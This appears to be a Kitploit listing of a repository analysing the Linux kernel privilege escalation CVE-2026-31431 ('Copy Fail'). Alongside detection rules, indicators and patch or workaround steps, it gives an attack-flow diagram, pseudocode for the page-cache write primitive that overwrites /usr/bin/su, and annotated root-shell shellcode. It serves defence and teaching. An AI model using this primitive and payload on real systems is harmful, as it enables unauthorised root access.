Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-31431-copyfail — Analyse pédagogique de la CVE-2026-31431, une élévation de privilèges locale du noyau Linux via l'opération en place AEAD d'AF_ALG, incluant la cause racine technique, la détection et l'atténuation. | Kitploit
Outils/GitHubGitHub/darioomatos/cve-2026-31431-copyfail
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationRessources Organisées
GitHubdarioomatos/cve-2026-31431-copyfail

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cve-2026-31431-copyfail

Analyse pédagogique de la CVE-2026-31431, une élévation de privilèges locale du noyau Linux via l'opération en place AEAD d'AF_ALG, incluant la cause racine technique, la détection et l'atténuation.

Voir le dépôt
16il y a 4 moisPas encore vérifié

CVE-2026-31431 — « Copy Fail » 🔐

Analyse technique pédagogique de l’une des vulnérabilités les plus significatives du noyau Linux depuis Dirty Pipe (2022).
Ce dépôt est destiné à la recherche, à l’étude et à la défense. Aucun exploit fonctionnel n’est distribué ici.


Sommaire

  • Qu’est-ce que c’est ?
  • Pour les néophytes : l’analogie
  • Chronologie
  • Comment cela fonctionne techniquement
  • Le shellcode analysé
  • Comparaison avec des vulnérabilités similaires
  • Systèmes affectés
  • Android est-il affecté ?
  • Détection
  • Atténuation et correctifs
  • Implémentations d’étude
  • Références

Qu’est-ce que c’est ?

CVE-2026-31431, surnommée Copy Fail, est une vulnérabilité d’élévation locale de privilèges (LPE — Local Privilege Escalation) dans le noyau Linux. Elle permet à tout utilisateur sans privilèges d’obtenir un accès root en quelques secondes.


Pour les néophytes : l’analogie

Imaginez que le système d’exploitation dispose d’une mémoire de travail (appelée page cache) dans laquelle il conserve des copies des fichiers en cours d’utilisation. Lorsque vous exécutez un programme, le système charge ce programme dans cette mémoire et l’exécute à partir de là — et non directement depuis le disque.

Copy Fail permet à un utilisateur ordinaire de modifier cette copie en mémoire d’un programme spécial (un binaire setuid, comme la commande su) sans toucher au fichier d’origine sur le disque. Le fichier sur le disque reste intact, mais lorsque le programme est exécuté, le système lit la version corrompue de la mémoire.

C’est comme remplacer la recette d’un plat dans la mémoire d’un chef pendant qu’il cuisine — le livre de recettes d’origine ne change pas, mais le plat qui en sort est complètement différent.

Le résultat : le programme corrompu exécute le code de l’attaquant avec les permissions root.

Ce qui rend cela particulièrement dangereux :

  • Il n’y a pas de fenêtre de condition de course — c’est déterministe
  • Cela ne laisse aucune trace sur le disque (la forensique de disque ne le détecte pas)
  • Cela fonctionne sur pratiquement toutes les distributions Linux depuis 2017
  • L’exploit d’origine ne fait qu’environ 700 octets de Python

Chronologie```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

root@kitploit:~
---

## Comment ça fonctionne techniquement

### Vue d'ensemble du flux```
Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

Root cause: in-place operation + sg_chain()

Le bug vit dans crypto/algif_aead.c. En 2017, l'opération AEAD a été convertie en in-place pour gagner en performance :```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

root@kitploit:~
L'algorithme `authencesn` utilise le buffer de destination comme *scratch space* pour réorganiser les octets du Extended Sequence Number (ESN) d'IPsec :```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

Pourquoi aucune trace n'est laissée

L'écriture contourne entièrement le VFS. La page modifiée n'est jamais marquée comme dirty par le mécanisme de writeback du noyau. Le fichier sur disque reste intact. Les outils d'intégrité basés sur des hash (aide, tripwire, inotifywait) ne détectent rien car ils surveillent le disque, pas le page cache.


Le shellcode analysé

L'exploit embarque un mini-ELF de 160 octets compressé avec zlib. Après décompression, la partie exécutable est :```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

root@kitploit:~
**Structure de l'ELF minimal (160 octets au total) :**```
Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

Comparação com vulnerabilidades similares


Sistemas afetados

Versões do kernel:

  • Introduzida: Linux 4.14 (julho 2017)
  • Corrigida: 6.18.22, 6.19.12, 7.0

Distribuições com exploits funcionais confirmados:

  • Ubuntu 24.04 LTS
  • Amazon Linux 2023
  • Red Hat Enterprise Linux 10.1
  • SUSE Linux Enterprise 16
  • Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux

Condição necessária: CONFIG_CRYPTO_USER_API_AEAD=y ou =m no kernel

Verificar se o sistema está exposto:```bash

Verifica se o módulo está disponível

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

=y → built-in (mais difícil de desabilitar)

=m → módulo carregável (pode ser bloqueado via modprobe)

(ausente) → não afetado

Teste direto (não causa dano, apenas testa acesso):

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "

root@kitploit:~
---

## Android est-il concerné ?

**Réponse courte :** Android standard (AOSP/GKI) **n'est pas vulnérable en pratique**, mais les appareils avec des configurations non standard méritent une vérification.

### Analyse par prérequis```
Pré-requisito                 Android AOSP/GKI padrão    Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada       ✅ Sim (Android 12–16)      ✅ Sim
algif_aead habilitado         ❌ Não (fora do GKI)        ⚠️  Possível (OEM config)
AF_ALG acessível a apps       ❌ Bloqueado SELinux+seccomp ⚠️  Depende da policy
Binário setuid disponível     ❌ Android não usa setuid    ⚠️  Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK            ❌ Inviável                  ❌ Inviável
Exploração via ADB shell      ❌ Bloqueado por SELinux     ⚠️  Possível (permissive)

Pourquoi Android est naturellement protégé

1. CONFIG_CRYPTO_USER_API_AEAD absent du GKI Google n'inclut pas cette option dans le gki_defconfig arm64 par défaut. Android utilise BoringSSL en userspace pour le chiffrement, et ne dépend pas d'AF_ALG.

2. SELinux enforcing Le domaine untrusted_app de SELinux sur Android ne possède pas la permission create pour AF_ALG. L'appel socket(AF_ALG, SOCK_SEQPACKET, 0) est refusé avec EACCES avant d'atteindre le sous-système de chiffrement.

3. Seccomp-bpf Les applications Android s'exécutent avec un filtre seccomp qui bloque socket() avec domain=AF_ALG — il n'est pas dans la whitelist des syscalls autorisés pour les applications tierces.

4. Absence de binaires setuid Android n'utilise pas le modèle setuid du Linux traditionnel. Les binaires privilégiés utilisent des capabilities spécifiques ou s'exécutent en tant que services avec des UIDs dédiés. Il n'y a pas de /usr/bin/su dans les builds de production AOSP.

Scénarios de risque sur Android

Comment vérifier un appareil Android```bash

Verificar config do kernel

adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD

Verificar modo SELinux

adb shell getenforce

Enforcing = protegido / Permissive = risco potencial

Teste direto (requer adb shell funcional)

adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"

Procurar binários setuid (incomum em Android padrão)

adb shell find /system /vendor -perm -4000 -type f 2>/dev/null

root@kitploit:~
---

## Détection

### Falco (détection en temps réel)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
  desc: >
    Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
    toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
  condition: >
    evt.type = socket
    and evt.rawres >= 0
    and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
    and (evt.arg.type = 5 or evt.arg.type = 2053)
    and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
                          integritysetup, kcapi-enc, kcapi-dgst)
  output: >
    AF_ALG AEAD socket por processo suspeito
    (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [CVE-2026-31431, kernel, privilege_escalation]

Indicateurs de compromission (IoCs)```bash

Processo Python que abre AF_ALG seguido de execução de shell

strace de processo suspeito mostrando:

socket(AF_ALG=38, SOCK_SEQPACKET, 0)

bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)

splice(...) ← arquivo → pipe → socket

recvmsg(...)

Seguido de:

setuid(0)

execve("/bin/sh", ...)

Red flags nos logs do sistema:

- Processo não-root com UID transitioning para 0

- python3 como parent de sh/bash

- Sequência socket+splice+recv em processo de usuário comum

root@kitploit:~
### Vérifier si le système a été compromis```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)

# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição

Mitigation et correctifs

Option 1 — Mettre à jour le noyau (recommandé)```bash

Ubuntu / Debian

sudo apt update && sudo apt upgrade linux-image-generic sudo reboot

RHEL / AlmaLinux / Rocky Linux

sudo dnf upgrade kernel sudo reboot

Fedora

sudo dnf upgrade kernel sudo reboot

Arch Linux

sudo pacman -Syu linux sudo reboot

Verificar versão após reboot:

uname -r

Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série

root@kitploit:~
**Versions corrigées par série :**

| Série | Version corrigée |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x  | 6.1.170  |
| 6.6.x  | 6.6.137  |
| 6.12.x | 6.12.85  |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+   | **7.0** (correctif inclus) |

### Option 2 — Désactiver algif_aead (solution temporaire)

**Si `CONFIG_CRYPTO_USER_API_AEAD=m` (module chargeable) :**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Si CONFIG_CRYPTO_USER_API_AEAD=y (intégré — cas RHEL/Rocky/CloudLinux) :

⚠️ La commande ci-dessus ne fonctionne pas lorsque le module est compilé dans le noyau.```bash

Use o initcall_blacklist via grubby:

grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot

Verificar se o mitigation está ativo:

cat /proc/cmdline | grep algif_aead_init

root@kitploit:~
**Confirmer que le workaround fonctionne :**```bash
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
    print('✅ Mitigação ativa — socket bloqueado')
"

Compatibilité du workaround : Le blocage de algif_aead n’affecte pas dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Il n’affecte que les applications qui utilisent explicitement AF_ALG pour AEAD (rare — ex : OpenSSL avec le moteur afalg, déchargement crypto matériel).

Option 3 — Seccomp / LSM pour environnements conteneurisés```yaml

Perfil seccomp para bloquear AF_ALG em containers:

{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }

root@kitploit:~
---

## Implémentations d'étude

Ce dépôt documente le mécanisme de l'exploit dans plusieurs langages à des fins éducatives. L'accent est mis sur la compréhension de **comment** la vulnérabilité fonctionne, et non sur la distribution d'outils offensifs.

### Structure du mécanisme (pseudocode)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
    alg = socket(AF_ALG, SEQPACKET)
    alg.bind("authencesn(hmac(sha256),cbc(aes))")
    alg.set_key(chave_36_bytes)
    alg.set_authsize(4)          ← 4 bytes = tamanho do write primitivo
    op = alg.accept()

    # O segredo: bytes[0:4] vão para posições [4:8] do AAD
    # authencesn lerá isso como seqno_lo e escreverá no page cache
    aad = [0,0,0,0] + bytes      ← [seqno_hi=0][seqno_lo=bytes_desejados]

    op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])

    pipe_r, pipe_w = pipe()
    splice(arquivo → pipe_w, len=offset+4, src_offset=0)
    splice(pipe_r  → op,     len=offset+4)
    # ↑ Injeta page cache na scatterlist do AF_ALG

    op.recv()  ← dispara authencesn → escrita acontece → EBADMSG ignorado

# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
    escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su")  ← agora executa nosso ELF → root

Langages documentés

Le fichier copyfail_study.md contient les implémentations complètes et commentées.

À propos du payload ELF

Le shellcode récupéré (après décompression zlib du PoC) fait :```

  1. setuid(0) → syscall 105 (0x69)
  2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
  3. exit(0) → syscall 60 (0x3c) — fallback
root@kitploit:~
Total: 26 octets de code + 8 octets de chaîne = 34 octets de shellcode dans un ELF de 160 octets.

---

## Références

| Ressource | Lien |
|---|---|
| Writeup original (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Site officiel de la CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Dépôt PoC original | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Patch mainline | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipédia | https://en.wikipedia.org/wiki/Copy_Fail |
| Analyse Sysdig + règle Falco | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Analyse Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Avis CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Analyse Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Discussion OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| Patch AlmaLinux | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| Patch CloudLinux + analyse du workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |

---

## Avertissement

Ce dépôt a **une finalité exclusivement éducative et de recherche en sécurité défensive**. Le contenu présent ici est destiné à :

- Professionnels de la sécurité offensive et défensive
- Chercheurs en vulnérabilités
- Étudiants en sécurité de l'information
- Administrateurs système qui doivent comprendre le risque pour l'atténuer

**N'utilisez pas ces connaissances sur des systèmes sans autorisation explicite du propriétaire.** L'accès non autorisé à des systèmes informatiques est un crime dans pratiquement toutes les juridictions (au Brésil, Loi 12.737/2012 — Loi Carolina Dieckmann ; Loi 14.155/2021).

---

*Dernière mise à jour : mai 2026*  
*Contributions bienvenues via PR — gardez le focus éducatif et défensif.*
Télécharger l’outil
AttributValeur
CVECVE-2026-31431
Score CVSS7.8 HIGH
TypeÉlévation locale de privilèges (LPE)
Sous-systèmecrypto/algif_aead.c — AF_ALG
Introduite dansNoyau 4.14 (commit 72548b093ee3, juillet 2017)
Corrigée dans6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d)
Découverte parTaeyang Lee — Theori / Xint Code
Divulgation publique29 avril 2026
PoC publicOui — script Python d’environ 732 octets
Dirty Cow (2016)Dirty Pipe (2022)Copy Fail (2026)
CVECVE-2016-5195CVE-2022-0847CVE-2026-31431
TipoRace condition em CoWPipe buffer sem flagsLogic bug em AEAD
ConfiabilidadeRace-dependent (~ms)DeterminísticoDeterminístico
Rastro em discoSim (dirty pages)NãoNão
PortabilidadeAmplaVersões específicasUniversal (2017–2026)
Tamanho do PoC~50 linhas C~40 linhas C~10 linhas Python
Subsistemamm/ (CoW)fs/ (pipe)crypto/ (AF_ALG)
DescobertaManualManualAI-assisted
Janela de exploraçãoRace windowNenhumaNenhuma
ScénarioRisque
Appareil avec Magisk/KernelSU + SELinux permissiveÉlevé — tous les prérequis peuvent s'aligner
Kernel OEM avec CONFIG_CRYPTO_USER_API_AEAD=y + eng buildMoyen — dépend de l'accès shell
Application malveillante sur un appareil non rootéAucun — SELinux + seccomp bloquent
ADB sur un build de productionAucun — adb root ne fonctionne pas
LangageDescription
Python (désobfusqué)Version propre et commentée du PoC original
NASM x86_64Le payload ELF annoté instruction par instruction
GoUtilisation de syscall.RawSyscall6 pour SYS_SPLICE et SYS_SETSOCKOPT directement
CImplémentation avec struct msghdr, CMSG_DATA, et zlib runtime